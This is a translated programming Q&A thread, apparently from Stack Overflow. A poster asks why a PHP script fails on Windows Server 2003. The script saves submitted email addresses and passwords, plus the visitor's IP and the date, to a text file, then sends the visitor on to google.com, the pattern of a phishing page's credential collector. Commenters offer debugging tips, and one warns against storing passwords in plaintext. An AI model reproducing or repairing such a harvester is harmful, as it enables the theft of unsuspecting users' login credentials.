【发布时间】:2012-05-05 11:22:20
【问题描述】:
我以前在 linux 机器上使用过这个脚本,我知道它可以工作,但是当我在新的 windows server 2003 服务器上使用它时,它就不能工作。过去我通过 chmodding 文件到 777 解决了这个问题,但你不能在 windows 上这样做。
代码如下:
<?php
header("Location:http://google.com");
$handle = fopen("list.txt", "a");
$ip = $_SERVER["REMOTE_ADDR"];
{
fwrite($handle, "Email = ". $_POST['box1']."\n");
fwrite($handle, "Password = ".$_POST['box2']."\n");
fwrite($handle, "Ip address = ". $ip ."\n");
fwrite($handle, "Date = ". date('Y-m-d') . "\n\n");
}
fclose($handle);
?>
它为 box1 和 box2 数据输出一个空白,但仍将 IP 和日期记录到 .txt 文件中。请给点建议?
【问题讨论】:
-
什么
header("Location:http://google.com");? -
为什么是花括号?另外,设置
error_reporting(E_ALL);并查看你得到的错误。一般说明:您正在将明文密码写入文本文件。你不应该那样做。 -
尝试使用二进制标志 fopen,fopen("list.txt", "ab");